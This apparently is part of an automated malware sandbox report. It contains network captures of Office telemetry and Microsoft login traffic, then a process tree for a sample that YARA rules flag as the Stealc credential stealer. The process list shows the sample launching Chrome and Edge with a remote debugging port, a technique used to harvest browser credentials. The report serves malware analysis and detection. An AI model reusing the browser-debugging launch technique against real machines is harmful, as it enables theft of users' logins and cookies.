2024-11-15 15:16:40 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:40 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151640Z-16547b76f7f775p5hC1DFWzdvn0000000n9000000000eyx6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151640Z-16547b76f7fbkfmzhC1DFWm9tw000000011000000000ngxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49933	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-15 15:16:40 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-15 15:16:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Nov 2024 15:15:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 708cb400-5e9b-4c1c-93a9-0536c7988f6c PPServer: PPV: 30 H: SN1PEPF0002F125 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 15:16:40 GMT Connection: close Content-Length: 1918
2024-11-15 15:16:41 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:41 UTC	522	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 970a151a-f01e-003f-26c9-36d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151640Z-164f84587bf6h2bxhC1DFWbcm800000001gg00000000q4zh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-15 15:16:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:41 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151641Z-1866b5c5fbbldb6rhC1DFW4bew00000001qg0000000089q6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:41 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:41 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151641Z-16547b76f7fx6rhxhC1DFW76kg0000000n6g00000000naqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:41 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:41 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:41 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151641Z-16547b76f7fknvdnhC1DFWxnys0000000nag00000000g1t1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:41 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:41 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:41 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 40dd3742-a01e-0002-350c-365074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151641Z-1866b5c5fbbzcdbqhC1DFW3r3400000001fg00000000nmc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:41 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Target ID:	0
Start time:	10:16:02
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x420000
File size:	1'822'720 bytes
MD5 hash:	2F9CE4F5D569B97571847C93C0FBEA69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2447069810.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2449094003.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2077871417.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:16:09
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:16:10
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2204,i,16906974365476907913,9452084672896798639,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:16:19
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:16:19
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2168,i,6388179550291018512,14390787030436108135,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:16:19
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:16:20
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:16:25
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6612 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:16:25
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6800 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
